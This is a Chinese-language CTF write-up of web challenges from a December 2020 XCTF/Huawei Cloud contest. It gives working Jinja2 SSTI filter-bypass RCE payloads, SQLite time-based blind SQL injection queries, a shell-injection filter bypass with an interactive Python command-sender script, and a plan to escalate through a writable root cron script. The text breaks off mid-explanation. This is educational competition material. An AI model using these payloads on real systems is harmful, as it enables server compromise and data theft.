终究是摸🐟了,感觉有很多地方需要多加学习。不管怎么说继续努力吧!!!

XCTF高校网络安全专题挑战赛(华为云,12.20场)

战队名称:咕噜灵波~

战队排名:29

排名截图:

image-20201221164007719.png


WEB:

签到

​ 直接关注 ”华为云公众号“,然后输入”ctf“,即可非常牛逼地得到了 flag:

qiandao1.jpg

​ 得到flag:flag{w3lc0m3_to_huAw3iXCTF}

flag{w3lc0m3_to_huAw3iXCTF}

​ 后话:

​ 好像没啥可说的0.0,看一下公众号就阔以啦。


MINEI_I

​ emmm,开局就给了个扫雷游戏,然后就稍微的玩了好一会,没通关。后来另一个扫雷大佬队友通关了,跳转到了如下的页面:

image-20201221165112066.png

(实际上F12也能源码中看出对应的跳转:

image-20201221165309435.png

​ 这里回到正题,一个简单的传参点,外加对传参数据的回显,很容易让人想到,这很可能考的是一个 ”SSTI“,那么先进行简单的测试:

image-20201221165456632.png

​ 当输入简单的 {{2333*1}} 时候,得到结果 2333,此时可以断定这里是可以进行模板注入的了。

​ 那么下一步是简单的看这个是多少版本的python:

image-20201221165605815.png

​ 显然这里是 python2.7.18 的,可以先把 python2SSTI 的payload简单的选一个可以 rce 的:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['system']('whoami')

().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")


{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')[-1]

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('sleep 2333')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /etc/issue").read()

# 总而言之是有很多的。。。
     不过这个题目过滤了不少东西,比如:单引号 `'` ,双引号 `"`,下划线 '`_`', 方框 `[` 和 `]`,等等,不过这里问题是不大的,比如这里用如下的payload为例进行bypass:
().__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /etc/issue").read()

​ 这里过滤了单引号 ' ,和双引号 " ,就不能够使用一些如 16进制8进制 的方法绕过形如 “_“ 的字符了,不过可以使用一些新的姿势来从别的地方引入字符。

​ 比如可以从请求内容入手:

request.form.get
request.args.get
request.cookies.get
request.values.get
request.headers.get
request.json.get
#等等

​ 不过有些给ban了,比如说 form agrs headers json,这里可以用 request.cookie.get 或者 request.values.get 来获取传参的内容作为字符串。只是还有一个问题需要解决,就是如何传入指定键名的参数。可以用以下语句来获取单个字符作为键名:

(dict|string|list).pop(?)
  • 其中 dict|string 可以得到 <type 'dict'> 这个字符串

  • 而 dict|string|list 可以得到关于上述字符串的列表 [u'<', u't', u'y', u'p', u'e', u' ', u"'", u'd', u'i', u'c', u't', u"'", u'>']

  • 由于点 ‘.’ 没被过滤,那么就可以使用 (dict|string|list).pop(?) 这个语句获取字符串列表的第 ? 个值。

    • 比如 (dict|string|list).pop(0) 的值为 <

    通过以上的组合就可以取得到一些特定的键名了,这里比如可以组合成以下的payload:

?msg={{request.values.get((dict|string|list).pop(0))}}&<=tql

image-20201221181007048.png

​ 现在就可以构造任意字符串了,不过至多只能构造 12 个字符(<type 'dict'> 只有12个字符是不同的),其实也基本上是够用的了。

(这里要吐糟一下这个玩意,POST请求会405,显然是只能通过GET传参了!

​ 然后形如 ‘()._class_ 可以使用 attr 以及上边所说的 任意传参 来进行绕过,比如 ().__class__

?msg={{()|attr(request.values.get((dict|string|list).pop(0)))}}&<=__class__
     那么**'['** **']'**  这个可以用 **\_\_getitem\_\_** 来绕过,那么payload可以这样拼:
# 需要拼成的payload
().__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /etc/issue").read()

# 拼接伪格式
(()|attr(`<`__class__)|attr(`t`__base__)|attr(`y`__subclasses__)()|attr(`p`__getitem__)(59)|attr(`e`__init__)|attr(`%20`func_globals)).linecache.os.popen(`%27`RCE).read()

# 最终payload
http://121.37.160.91:30715/success?msg={{(()|attr(request.values.get((dict|string|list).pop(0)))|attr(request.values.get((dict|string|list).pop(1)))|attr(request.values.get((dict|string|list).pop(2)))()|attr(request.values.get((dict|string|list).pop(3)))(59)|attr(request.values.get((dict|string|list).pop(4)))|attr(request.values.get((dict|string|list).pop(5)))).linecache.os.popen(request.values.get((dict|string|list).pop(6))).read()}}&%3C=__class__&t=__base__&y=__subclasses__&p=__getitem__&e=__init__&%20=func_globals&%27=id

​ 执行了命令:

image-20201221183634816.png

​ 最后直接 cat flag.txt 就好啦:

image-20201221183804897.png

​ 那么最终的payload:

http://121.37.160.91:30715/success?msg={{(()|attr(request.values.get((dict|string|list).pop(0)))|attr(request.values.get((dict|string|list).pop(1)))|attr(request.values.get((dict|string|list).pop(2)))()|attr(request.values.get((dict|string|list).pop(3)))(59)|attr(request.values.get((dict|string|list).pop(4)))|attr(request.values.get((dict|string|list).pop(5)))).linecache.os.popen(request.values.get((dict|string|list).pop(6))).read()}}&%3C=__class__&t=__base__&y=__subclasses__&p=__getitem__&e=__init__&%20=func_globals&%27=cat flag.txt

​ 当然,如果用 request.cookie.get 也是阔以的:

image-20201221184032827.png

​ 使用 request.cookie.get 的payload:

GET /success?msg={{()|attr(request.cookies.get((()|select|string|list).pop(1)))|attr(request.cookies.get((()|select|string|list).pop(2)))|attr(request.cookies.get((()|select|string|list).pop(3)))(0)|attr(request.cookies.get((()|select|string|list).pop(5)))()|attr(request.cookies.get((()|select|string|list).pop(3)))(60)|attr(request.cookies.get((()|select|string|list).pop(6)))|attr(request.cookies.get((()|select|string|list).pop(7)))|attr(request.cookies.get((()|select|string|list).pop(3)))(request.cookies.get((()|select|string|list).pop(8)))|attr(request.cookies.get((()|select|string|list).pop(3)))(request.cookies.get((()|select|string|list).pop(12)))(request.cookies.get((()|select|string|list).pop(13)))}} HTTP/1.1
Host: 121.37.160.91:30715
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie:g=__class__;e=__bases__;n=__getitem__;r=__subclasses__;a=__init__;t=__globals__;o=__builtins__;b=eval;j=__import__('os').popen('cat /app/flag.txt').read()
Connection: close
Upgrade-Insecure-Requests: 1

​ 不过由于没有过滤 点 **.**,实际上 _getitem_ 这个是可以完全没必要的,直接 .pop(?) 就阔以了,懒得改了。

​ 得到flag:flag{cfc5f0d39588fb2129dae9b28edea6e9}

flag{cfc5f0d39588fb2129dae9b28edea6e9}

​ 后话:

​ 没过滤点 . ,可以用 .pop(?) 来代替 _getitem_ ,然后关于从GET传参可以用以下的payload:

http://121.37.160.91:30715/success?msg={{(()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)().pop(59)|attr(request.values.x4)|attr(request.values.x5)).linecache.os.popen(request.values.x6).read()}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=func_globals&x6=cat flag.txt

​ 我 👈 太 👎 了。


MINE2

​ 啊,这个扫雷可比之前那个扫雷困难多了。真的是越来越嚣张了这玩意,反正队里的扫雷大佬也觉得不如直接看源码了,直接F12看了下跳转的页面,发现还是和扫雷1是一样的:

image-20201221185404018.png

​ 还是老样子的 SSTI ,先看一下发现是 python3.6.12

image-20201221185648203.png

​ 简单的fuzz一下,发现过滤 点 . ,双花括号 {{` 和 `}},下划线 _ ,单引号 ',字母 gu 等等。不过没有过滤双引号 ",这可就简单多了。因为可以使用双引号加上 16进制8进制 字符来绕过一些过滤。

​ 这里可以用 {%print(2333)%} 就可以逃逸出去了:

image-20201221192640780.png

​ 这题太简单了,直接随便找个 python3SSTIrce 的payload就行了:

​ 在 python3SSTIrce 的 payload中,一个公式据说,3.7:103 default:80,意思是,在 python3.6 ~ python3.9中,除了python3.7,以下payload都是通用的:

# python3.6 ~ python3.9,除了python3.7
"".__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")

​ 然后在 python3.7 中,80得改成103

"".__class__.__mro__[-1].__subclasses__()[103].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")

​ 开始绕(这里使用 8进制16进制 表示字符):

# 需要拼成的payload
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")

# 拼接伪格式
""|attr(__class__)|attr(__mro__)|attr(__getitem__)(-1)|attr(__subclasses__)()|attr(__getitem__)(117)|attr(__init__)|attr(__globals__)|attr(__getitem__)(__builtins__)|attr(__getitem__)(eval)(CMD)

# 最终payload
http://124.71.205.79:32525/success?msg={%print(""|attr("\137\137class\137\137")|attr("\137\137mro\137\137")|attr("\13
7\137\147etitem\137\137")(-1)|attr("\137\137s\165bclasses\137\137")
()|attr("\137\137\147etitem\137\137")
(117)|attr("\137\137init\137\137")|attr("\137\137\147lobals\137\137")|attr("\137
\137\147etitem\137\137")
("\137\137b\165iltins\137\137")|attr("\137\137\147etitem\137\137")("eval")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x28\x29"))%}

​ 最后得到flag:

image-20201221201435648.png

​ 得到flag:flag{ef3e534a5bb4f67efb21fbfc3e8726b1}

flag{ef3e534a5bb4f67efb21fbfc3e8726b1}

​ 后话:

​ emmm,这个题目可以用 headers 来传噢,不过也无伤大雅吧,给个其他师傅的payload:

/success?msg={%print(((env|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5f\x67lobals\x5f\x5f")|attr("\x67et")("\x5f\x5fb\x75iltins\x5f\x5f"))|attr("\x67et")("open")("fla\x67\x2etxt"))|attr("read")())%}

​ 主要还是单引号和双引号没被过滤,这样就很简单的了。


PYER

​ 这个题目不得不说,未免也太脑洞了 趴 !搞了很久很久!!!

​ 首先打开是一个登录框,然后没有任何提示,点注册也啥都没用(该功能未开放):

image-20201221203014112.png

​ 然后手工试了一下,发现用户名在输入形如 admin' 时会出现500:

image-20201221203134025.png

​ 如果输入 admin'or(1);# 也是500:

image-20201221203311140.png

​ 但 admin'or(1);-- - 则会正常返回一个 login error

image-20201221203340811.png

​ 通过注释符号,盲猜很有可能是 sqlite数据库 ,并且在用户名这里应该是存在注入点的。

​ 尝试简单的使用笛卡尔积进行延迟盲注:

username=admin'and length((select count(*) from sqlite_master,sqlite_master,sqlite_master,sqlite_master,sqlite_master,sqlite_master,sqlite_master,sqlite_master,sqlite_master,sqlite_master,sqlite_master)) and'1;-- -&password=123&submit=%E7%99%BB%E9%99%86

​ 发现应该就是sqlite数据库,然后可以使用时间盲注:

image-20201221204614653.png

​ 不过使用笛卡尔积是不够效率的,可以使用其他方式,比如以下的函数:

  • **randomblob(N)**:返回一个 N 字节长的包含伪随机字节的 BLOG,由于是生成大字节的为随机字符,所以是会有不少延迟的,可以作为盲注判断

​ 然后懒得写脚本了,就直接用burp跑一跑就完事了,可以直接用回显时间差来判断是否盲注,比如说以下得到的结果为 ”c“

image-20201221210836493.png

​ 在注入第2个表名时,得到 users 表,然后盲猜密码字段名为 password ,然后爆破第一个记录的用户密码,这里爆出密码的第1位为 s

image-20201221211118141.png

​ 之后就一个个爆,发现似乎是有规律的,得到最终密码:

sqlite_not_safe

​ 然后使用 admin 成功进入后台:

image-20201221211233355.png

​ 结合题目 pyer 以及回显可知,这个是python3的web应用,也许存在 SSTI ,对没错就可能是 SSTI ,还以为说是只是个盲注题,结果flag不在数据里边!!!

image-20201221211405626.png

​ 然后输入 guest'or(1);-- - 时,得到:

image-20201221211724225.png

​ 而当输入 guest'and(0);-- -时,则显示:

image-20201221212649141.png

​ 输入 guest'order by ?;-- -猜解字段数量,得到字段数为 1 0.0:

image-20201221212303127.png

​ 然后就,可以用联合注入来做回显注入用了,这里发现只有两个表(分别是 commentusers ),没有第三个表了:

image-20201221213043811.png

image-20201221213025224.png

​ 这里卡了很久,后来想到这会不会是一个披着 sqliteSSTI ,就索性尝试了一下,发现确实如此:

image-20201221213224928.png

​ 行吧,直接随便打一个python3的 SSTIrce 的payload就行了:

image-20201221213539700.png

​ 最后直接读就行啦:

image-20201221213627703.png

​ 得到flag:flag{7e33ef352f511fc071497ec186474a7f}

flag{7e33ef352f511fc071497ec186474a7f}

​ 后记:

​ 好像没啥好说的,盲注脚本就懒得写了,基本也就那个原理吧。用时间差再加上两层循环就OK了,其实也没啥的,too easy 然后是这个 SSTI 怎么说呢实在是有些脑洞了。。


HIDS

​ 首先看出来这是一个命令执行:

image-20201221213959553.png

​ 并且还过滤了不少东西,比如 { 和 **}**,空格 [ ],逗号 ,. 等等。。。

​ 先看请求情况,显然是向 /run 发送 cmd 的POST请求:

image-20201221214129825.png

​ 只是过滤了不少东西,并且显然这个是 /bin/sh

image-20201221214538543.png

​ emmm,是可以使用 $IFS$9 来绕过空格的,不过可以用别的方式在不适用 ${IFS} 的情况下绕过空格,比如:

echo$IFS\ahhhh

image-20201221214649459.png

​ 但问题是无法正常的执行任意命令,而在 linux 中比如 printf 是可以将 16进制8进制 字符给正常输出出来的,那么可以使用现有的可用的没被ban的命令去构造一个 printf

​ 同时 “$“ 、 “(“ 和 “)“ 都没被过滤,由于在 linux 中,有如下的特性(摘自https://linux.cn/article-5657-1.html):

Shell符号及各种解释对照表:

Shell符号 使用方法及说明
# 注释符号(Hashmark[Comments])1.在shell文件的行首,作为shebang标记,#!/bin/bash;2. 其他地方作为注释使用,在一行中,#后面的内容并不会被执行,除非;3. 但是用单/双引号包围时,#作为#号字符本身,不具有注释作用。
; 作为多语句的分隔符(Command separator [semicolon])。多个语句要放在同一行的时候,可以使用分号分隔。注意,有时候分号需要转义。
;; 连续分号(Terminator [double semicolon])。在使用case选项的时候,作为每个选项的终结符。在Bash version 4+ 的时候,还可以使用[;;&], [;&]
. 点号(dot command [period])。1. 相当于bash内建命令source,如:#!/bin/bash. data-file#包含data-file;2. 作为文件名的一部分,在文件名的开头,表示该文件为隐藏文件,ls一般不显示出来(ls -a 可以显示);3. 作为目录名,一个点代表当前目录,两个点号代表上层目录(当前目录的父目录)。注意,两个以上的点不出现,除非你用引号(单/双)包围作为点号字符本身;4. 正则表达式中,点号表示任意一个字符。
" 双引号(partial quoting [double quote])。部分引用。双引号包围的内容可以允许变量扩展,也允许转义字符的存在。如果字符串内出现双引号本身,需要转义,因此不一定双引号是成对的。
' 单引号(full quoting [single quote])。单引号括住的内容,被视为单一字符串,引号内的禁止变量扩展,所有字符均作为字符本身处理(除单引号本身之外),单引号必须成对出现。
, 逗号(comma operator [comma])。1. 用在连接一连串的数学表达式中,这串数学表达式均被求值,但只有最后一个求值结果被返回。如:#!/bin/bashlet t1=((a=5+1, b=7+2))echo t1=$t1, a=$a, b=$b## 这个$t1=$b;2. 用于参数替代中,表示首字母小写,如果是两个逗号,则表示全部小写,注意,这个特性在bash version 4的时候被添加的。例子:a="ATest"echo ${a,}echo ${a,,}## 前面输出aTest,后面输出的是atest。
\ 反斜线,反斜杆(escape [backslash])。1. 放在特殊符号之前,转义特殊符号的作用,仅表示特殊符号本身,这在字符串中常用;2. 放在一行指令的最末端,表示紧接着的回车无效(其实也就是转义了Enter),后继新行的输入仍然作为当前指令的一部分。
/ 斜线,斜杆(Filename path separator [forward slash])。1.作为路径的分隔符,路径中仅有一个斜杆表示根目录,以斜杆开头的路径表示从根目录开始的路径;2.在作为运算符的时候,表示除法符号。如:a=4/2
反``引号 反引号,后引号(Command substitution[backquotes])。命令替换。这个引号包围的为命令,可以执行包围的命令,并将执行的结果赋值给变量。如:`a= ` dirname ‘/tmp/x.log’ `` 。后面dirname返回的结果会赋值给a,注意,此处Mitchell特地使用了反引号和单引号,注意区别。
$() $( )与`` 在操作上,这两者都是达到相应的效果,但是建议使用$( ),因为在多层次的符合替换中,``必须要额外的转义处理(反斜杠),而 $( ) 更直观些。
: 冒号(null command [colon])。空命令,这个命令什么都不做,但是有返回值,返回值为0(即:true)。这个命令的作用非常奇妙。1. 可做while死循环的条件;2. 在if分支中作为占位符(即某一分支什么都不做的时候);3. 放在必须要有两元操作的地方作为分隔符,如:: ${username=whoami}4. 在参数替换中为字符串变量赋值,在重定向操作(>)中,把一个文件长度截断为0(:>>这样用的时候,目标存在则什么都不做),这个只能在普通文件中使用,不能在管道,符号链接和其他特殊文件中使用;5. 甚至你可以用来注释(#后的内容不会被检查,但:后的内容会被检查,如果有语句如果出现语法错误,则会报错);6. 你也可以作为域分隔符,比如环境变量$PATH中,或者passwd中,都有冒号的作为域分隔符的存在;7. 你也可以将冒号作为函数名,不过这个会将冒号的本来意义转变(如果你不小心作为函数名,你可以使用unset -f : 来取消function的定义)。
! 感叹号(reverse (or negate) [bang],[exclamation mark])。取反一个测试结果或退出状态。1. 表示反逻辑,比如后面的!=,这个是表示不等于;2. 表示取反,如:ls a[!0-9] #表示a后面不是紧接一个数字的文件;3. 在不同的环境里面,感叹号也可以出现在间接变量引用里面;4. 在命令行中,可以用于历史命令机制的调用,你可以试试!$,!#,或者!-3看看,不过要注意,这点特性不能在脚本文件里面使用(被禁用)。
* 星号(wildcard/arithmetic operator[asterisk])。1. 作为匹配文件名扩展的一个通配符,能自动匹配给定目录下的每一个文件;2. 正则表达式中可以作为字符限定符,表示其前面的匹配规则匹配任意次;3. 算术运算中表示乘法。
** 双星号(double asterisk)。算术运算中表示求幂运算。
? 问号(test operator/wildcard[Question mark])。1. 表示条件测试;2. 在双括号内表示C风格的三元操作符((condition?true-result:false-result));3. 参数替换表达式中用来测试一个变量是否设置了值;4. 作为通配符,用于匹配文件名扩展特性中,用于匹配单个字符;5. 正则表达式中,表示匹配其前面规则0次或者1次。
$ 美元符号(Variable substitution[Dollar sign])。1. 作为变量的前导符,用作变量替换,即引用一个变量的内容,比如:echo $PATH;2. 在正则表达式中被定义为行末(End of line)。
${} 参数替换(Variable substitution)。用于在字符串中表示变量。
$‘...’ 引用内容展开,执行单引号内的转义内容(单引号原本是原样引用的),这种方式会将引号内的一个或者多个[]转义后的八进制,十六进制值展开到ASCII或Unicode字符。
$* $@ 位置参数(Positional Parameters)。这个在使用脚本文件的时候,在传递参数的时候会用到。两者都能返回调用脚本文件的所有参数,但$是将所有参数作为一个整体返回(字符串),而$@是将每个参数作为单元返回一个参数列表。注意,在使用的时候需要用双引号将$,$@括住。这两个变量受到$IFS的影响,如果在实际应用中,要考虑其中的一些细节。
$# 表示传递给脚本的参数数量。
$? 此变量值在使用的时候,返回的是最后一个命令、函数、或脚本的退出状态码值,如果没有错误则是0,如果为非0,则表示在此之前的最后一次执行有错误。
$$ 进程ID变量,这个变量保存了运行当前脚本的进程ID值。
() 圆括号(parentheses)。1, 命令组(Command group)。由一组圆括号括起来的命令是命令组,命令组中的命令实在子shell(subshell)中执行。因为是在子shell内运行,因此在括号外面是没有办法获取括号内变量的值,但反过来,命令组内是可以获取到外面的值,这点有点像局部变量和全局变量的关系,在实作中,如果碰到要cd到子目录操作,并在操作完成后要返回到当前目录的时候,可以考虑使用subshell来处理;2. 用于数组的初始化。
{x,y,z,...} 花括号扩展(Brace Expansion)。在命令中可以用这种扩展来扩展参数列表,命令将会依照列表中的括号分隔开的模式进行匹配扩展。注意的一点是,这花括号扩展中不能有空格存在,如果确实有必要空格,则必须被转义或者使用引号来引用。例子:echo {a,b,c}-{\ d," e",' f'}
{a..z} 在Bash version 3时添加了这种花括号扩展的扩展,可以使用{A..Z}表示A-Z的所有字符列表,这种方式的扩展Mitchell测试了一下,好像仅适用于A-Z,a-z,还有数字{最小..最大}的这种方式扩展。
{} 代码块(curly brackets)。这个是匿名函数,但是又与函数不同,在代码块里面的变量在代码块后面仍能访问。注意:花括号内侧需要有空格与语句分隔。另外,在xargs -i中的话,还可以作为文本的占位符,用以标记输出文本的位置。
{} \; 这个{}是表示路径名,这个并不是shell内建的,现在接触到的情况看,好像只用在find命令里。注意后面的分号,这个是结束find命令中-exec选项的命令序列,在实际使用的时候,要转义一下以免被shell理解错误。
[] 中括号(brackets)。1. 测试的表示,Shell会测试在[]内的表达式,需要注意的是,[]是Shell内建的测试的一部分,而非使用外部命令/usr/bin/test的链接;2. 在数组的上下文中,表示数组元素,方括号内填上数组元素的位置就能获得对应位置的内容,如:Array[1]=xxxecho ${Array[1]};3. 表示字符集的范围,在正表达式中,方括号表示该位置可以匹配的字符集范围。
[[]] 双中括号(double brackets)。这个结构也是测试,测试[[]]之中的表达式(Shell的关键字)。这个比单中括号更能防止脚本里面的逻辑错误,比如:&&,||,<,>操作符能在一个[[]]里面测试通过,但是在[]却不能通过。[[]]里面没有文件名扩展(filename expansion)或是词分隔符(Word splitting),但是可以用参数扩展(Parameter expansion)和命令替换(command substitution)。不用文件名通配符和像空白这样的分隔符。注意,这里面如果出现了八进制,十六进制等,shell会自动执行转换比较。
$[...] 词表达表示整数扩展(integer expansion)。在方括号里面执行整数表达式。例:a=3b=7echo $[$a+$b]echo $[$a*$b]##返回是10和21
(()) 双括号(double parentheses)。表示整数扩展(integer expansion)。功能和上面的$[]差不多,但是需要注意的是,$[]是会返回里面表达式的值的,而(())只是执行,并不会返回值。两者执行后如果变量值发生变化,都会影响到后继代码的运行。可对变量赋值,可以对变量进行一目操作符操作,也可以是二目,三目操作符。
> &< >& >> < <> 重定向(redirection)。scriptname >filename 重定向scriptname的输出到文件filename中去,如果文件存在则覆盖;command &>filename 重定向command的标准输出(stdout)和标准错误(stderr)到文件filename中;command >&2 把command的标准输出(stdout)重定向到标准错误(stderr)中;scriptname >>filename 把scriptname的输出(同>)追加到文件filenmae中,如果文件不存在则创建。[i]<>filename 打开filename这个文件用来读或者写,并且给文件指定i为它的文件描述符(file descriptor),文件不存在就会创建。
(command)> <(command) 这是进程替换(Process Substitution)。使用的时候注意,括号和<,>之间是不能有空格的,否则报错。其作用有点类似通道,但和管道在用法上又有些不同,管道是作为子进程的方式来运行的,这个命令会在/dev/fd/下面产生类似/dev/fd/63,/dev/fd/62这类临时文件,用来传递数据。Mitchell个人猜测之所以用这种方法来传递,是因为前后两个不属于同一个进程,因此需要用共享文件的方式来传递资料(这么说其实管道也应该有同样的文件?)。网上有人说这个只是共享文件而已,但是经过测试,发现虽然有/dev/fd/63这样的文件产生,但是这个文件其实是指向pipe:[43434]这样的通道的链接。
<< 双小于号(here-document[double less then marks])。这个也被称为Here-document,用来将后继的内容重定向到左侧命令的stdin中。<<可以节省格式化时间,别且使命令执行的处理更容易。在实作的时候只需要输入<<和终止标志符,而后(一般是回车后)你就可以输入任何内容,只要在最后的新行中输入终止标志符,即可完成数据的导入。使用here-document的时候,你可以保留空格,换行等。如果要让shell脚本更整洁一点,可以在<<和终止符之间放上一个连字符(-)。
<<< 三个小于号(here-strings)。Here-字串和Here-document类似,here-strings语法:command [args] <<<["]$word["];$word会展开并作为command的stdin。
< > 小于,大于号(ASCII Comparison)。ASCII比较,进行的是变量的ASCII比较,字串?数字?呃…这个…不就是ASCII比较么?
\<...\> 词界符(word boundary)。这个是用在正则表达式中的一个特殊分隔符,用来标记单词的分界。比如:the会匹配there,another,them等等,如果仅仅要匹配the,就可以使用这个词界符,<the>就只能匹配the了。
` `
`> `
& 与号(Run job in background[ampersand])。如果命令后面跟上一个&符号,这个命令将会在后台运行。有的时候,脚本中在一条在后台运行的命令可能会引起脚本挂起,等待输入,出现这种情况可以在原有的脚本后面使用wait命令来修复。
&& `
- 减号,连字符(Hyphen/minus/dash)。1. 作为选项,前缀[option, prefix]使用。用于命令或者过滤器的选项标志;操作符的前缀。如:## COMMAND -[选项列表]ls -alsort -dfu $fileset -- $variable if [ $file -ot $file2 ]then echo "$file is older than $file2."fi2. 用于stdin或者stdout的重定向的源或目的[dash].在tar没有bunzip2的程序补丁时,我们可以这样: `bunzip2 linux-2.6.13.tar.bz2
= 等号(Equals)。1. 赋值操作,给变量赋值,么有空格在等号两侧;2. 在比较测试中作为比较符出现,这里要注意,如果在中括号中作为比较出现,需要有空格符在等号左右两侧。
+ 加号(Plus)。1. 算术操作符,表示加法;2. 在正则表达式中,表示的是其前的这个匹配规则匹配最少一次;3.在命令或过滤器中作为选项标记,在某些命令或者内置命令中使用+来启用某些选项,使用-来禁止;4. 在参数替换(parameter substitution)中,+前缀表示替代值(当变量为空的时候,使用+后面的值)
% 百分号(modulo[percent sign])。1.在算术运算中,这个是求模操作符,即两个数进行除法运算后的余数;2. 在参数替换(parameter substitution)中,可以作为模式匹配。例子:p=b*9var="abcd12345abc479"echo ${var%p}, ${var%%p}##从右边开始查找(想想从左是那个符号?)##任何在b和9之间的内容(含)##第一个是找到最短的符合匹配项##后一个是找最大符合的匹配项(贪婪匹配?)
~ 波浪号(Home directory[tilde])。这个和内部变量$HOME是一样的。默认表示当前用户的家目录(主目录),这个和~/效果一致,如果波浪号后面跟用户名,表示是该用户的家目录。
~+ 当前的工作目录(current working directory)。这个和内置变量$PWD一样。
~- 前一个工作目录(previous working directory)。这个和内部变量$OLDPWD一致,之前的[-]也一样。
=~ Bash 版本3中有介绍,这个是正则表达式匹配。可用在[[]]测试中,比如:`var=”this is a test message.”[[ “$var” =~ tf*message ]] && echo “Sir. Found that.”
^ 脱字符(caret)。1. 在正则表达式中,作为一行的行首(beginning-of-line)位置标志符;2. 在参数替换(Parameter substitution)中,这个用法有两种,一个脱字符(${var^}),或两个(${var^^}),分别表示第一个字母大写,全部大写的意思(Bash version >=4)。
空白 空白符(Whitespace)。空白符不仅仅是指空格(spaces),还包括制表符(tabs),空行(blank lines),或者这几种的组合。可用做函数的分隔符,分隔命令或变量,空行不会影响脚本的行为,因此可以用它来规划脚本代码,以增加可读性,在内置的特殊变量$IFS可以用来针对某些命令进行输入的参数进行分割,其默认就是空白符。在字符串或变量中如果有空白符,可以使用引号来规避可能的错误。

​ 比如可以构造出一个:

$(printf$IFS"\x69\x64")

​ 但是上边的只能在 bash 用,在sh会出现如下问题:

image-20201221221144727.png

​ 如果表明了绝对路径,那就可以用了:

$(/bin/printf$IFS"\x69\x64")
$(/usr/bin/printf$IFS"\x69\x64")

image-20201221221415708.png

​ 其中,可以使用 which$IFS\printf 命令获取 printf 命令的绝对路径:

image-20201221221356534.png

​ 那就可以这么拼了:

$($(which$IFS\printf)$IFS"\x69\x64")

image-20201221221602786.png

​ 那么现在就可以执行任意命令:

image-20201221221934973.png

​ 这里可以先写一个简单脚本方便一些:

from requests import session
s = session()


if __name__ == "__main__":
    url = "http://124.70.199.12:32552/run"
    data = {"cmd":""}
    while True:
        try:
            get_cmd = input("Cmd <=> ")
            if (len(get_cmd) > 0):
                payload = "\\x" + "\\x".join(hex(ord(font))[2:].zfill(2) for font in get_cmd)
                data.update({"cmd": "$($(which$IFS\\printf)$IFS\"" + payload + "\")"})
                p = s.post(url=url, data=data)
                if (p.status_code == 200):
                    print(p.text)
        except KeyboardInterrupt:
            print("bye~")
            break
        except Exception as e:
            print(e)

​ 显然这里是需要使用 /readflag 来读取 flag的:

image-20201221223502450.png

​ 提示说 /readflag 需要等待 90 秒才行,再看 /detect.py 文件,发现这个文件可以写入,并且是 root 权限:

image-20201221223950737.png

​ 把 /detect.py 给 cat 看看:

import os,signal

out=os.popen("ps -ef").read()

for line in list(out.splitlines())[1:]:
    try:
        pid = int(line.split()[1])
        ppid = int(line.split()[2])
        cmd = " ".join(line.split()[7:])
        if ppid in [0,1] and cmd in ["/usr/local/bin/python3.8 /home/ctf/web/app.py","/usr/sbin/cron","/usr/bin/tail -f /var/log/cron","/usr/local/bin/python3.8 /detect.py","/bin/sh -c /usr/sbin/cron && /usr/bin/tail -f /var/log/cron"]:
            continue
        os.kill(pid,signal.SIGKILL)
    except Exception as e:
        pass

​ 看起来是一个结束其他进程的脚本,那么就不可能通过写一个 bash 脚本读 flag 然后写入某个文件再读了,再看 /home/ctf/web/app.py 文件:

from flask import Flask
from flask import render_template,request
import subprocess,re
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/run',methods=['POST'])
def run():
    cmd = request.form.get("cmd")
    if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd):
        return 'Hacker!'
    if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd):
        return 'Hacker!'
    p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
    try:
        (msg, errs) = p.communicate(timeout=5)
        return msg
    except Exception as e:
        return 'Error!'

app.run(host='0.0.0.0',port='5000')

​ 这里可以清楚看到对命令执行的过滤的源码,并且这里显然设置了 5 秒的超时时间,看起来是无法直接使用网页的 rce 去读flag了。

​ 不过由于 /detect.py 文件是有写权限的,并且看代码并不是死循环清除,应该是一个定时任务(在白名单进程名上显然是有定时任务的),那么就可以尝试将读flag的python代码写入 /detect.py 文件,然后等待定时任务读就行了。

(当然这里也可以用 ps -aux 来查看当前的进程0.0

​ 比如可以构造以下代码:

